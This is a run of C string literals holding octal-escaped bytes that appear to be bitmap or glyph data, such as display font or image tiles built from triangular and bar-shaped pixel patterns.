"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\177\77\37\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360" "\370\374\376\377\376\374\370\360\340\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\376\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\376\374\370\360\340\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\360\370\374\376\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\374\370\360\340\300\200\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\1\3\7\17\37\77\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\77\37\17" "\7\3\1\0\0\0\0\0\0\0\0\0\0\1\3\7\17\37\77\177\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\77\37\17\7\3\1\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\17\37\77\177\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\177\77\37\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7" "\17\37\77\177\177\77\37\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\376\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\200\300\340\360\370\374\376\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340" "\360\370\374\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\376\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\17\37\77\177\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7" "\17\37\77\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\1\3\7\17\37\77\177\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\17\37\77\177\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\376\374\370\360\340\300\200\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\376\374\370\360" "\340\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\376\374\370\360\340\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\376\374\370\360\340\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\177\77\37\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\177\77\37\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\177\77\37\17" "\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\177\77\37\17\7\3\1\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340" "\360\370\374\376\376\374\370\360\340\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\376\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\376\374\370\360\340\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\376\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\374\370\360\340\300\200\0\0\0\0\0" "\0\0\0\0\0\200\300\340\360\370\374\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\374\370\360" "\340\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\376\376\374\370\360\340\300\200\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\376\376\374\370\360\340\300\200\0" "\0\0\0\0\0\30<~\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\374\370\360\340\300\200\0" "\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "~<\30\0\0\0\0\0\0\1\3\7\17\37\77\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\376\374\370\360\360\370\374\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\77\37\17\7\3\1\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\17\37\77\177\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\77\37\17\7\3\1\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\17\37\77\177" "\377\377\377\377\377\377\377\377\177\77\37\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\1\3\7\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\200\300\340\360\370\374\376\376\374\370\360\340\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340" "\360\370\374\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377~<\30\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\376\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\177\77\37\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\376\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\177\77\37\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\17\37\77\177\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\376\374\370\360\340\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\17\37\77\177\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\376\374\370\360\340\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7" "\17\37\77\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377~<\30\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\1\3\7\17\37\77\177\177\77\37\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\376\376\374\370\360\340\300\200\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\30<~\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\376\374\370\360\340\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\17\37\77\177\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\376\374\370\360\340\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\17\37\77\177" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\374\370\360\340\300\200\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\376" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\77\37\17\7\3\1\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\376\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\177\77\37\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\30<~\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\177\77\37\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\17\37\77\177\177\77\37\17\7\3\1\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340" "\360\370\374\376\376\374\370\360\340\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\376\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\376\374\370\360\340\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\376\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\374\370\360\340\300\200\0\0\0\0\0" "\0\0\0\0\0\200\300\340\360\370\374\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\77\37\17" "\7\3\1\0\0\1\3\7\17\37\77\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\374\370\360" "\340\300\200\0\0\1\3\7\17\37\77\177\377\377\377\377\377\377\377\377\177\77\37\17\7\3\1\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\17\37\77\177\377\377\377\377\377\377\377\377\177\77\37\17" "\7\3\1\0\0\0\0\0\0\0\0\0\0\1\3\7\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\7\3\1\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\17\37\77\177\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\77\37\17\7\3\1\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\17\37\77\177\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\177\77\37\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7" "\17\37\77\177\177\77\37\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340" "\360\370\374\376\376\374\370\360\340\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\376\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\376\374\370\360\340\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\376\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\374\370\360\340\300\200\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\376\374\370\370\360\340\300\300\200\0\0" "\0\0\0\0\340\370\374\376\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377~" "~<\30\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\177\77\37\37\17\7\3\3\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\200\300\300\340\360\370\370\374\376\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\377\0\30<~~\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177" "\177\77\37\7\0\0\0\0\0\0\1\3\3\7\17\37\37\77\177\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\360\370\374\374\374\376\376\376\377" "\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\360\374\376\377\377\377\377\177\77\37\17\7\3\3\1\1\1" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\370\374\376\376\374\370\340\300\200\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\370\377\377\377\377\377\377\377\17\1\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\370\374\376\377\377\377\377\377\377\377\377\377\377\377\377\376\374" "\370\340\300\200\1\3\7\37\77\177\377\377\377\377\377\377\377\377\377\377\377\377\177\77\37\7\3\1\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\360\377\377\377\377\377\377\377\37\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\1\3\7\37\77\177\177\77\37\7\3\1\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\200\200\200\300\300\340\360\370\374\376\377\377\377\377\177\77\17\7\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\377\377\377\377\377\177\177\177\77\77\77\37\17\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\200\340\360\374\377\377\377\377\377\377\374\360\340\200\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\1\3\17\77\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177" "\77\17\3\1\200\300\360\374\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\374\360\300\200\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\17\77\377\377\377\377\377\377\77\17\7\1\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\7\1\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" 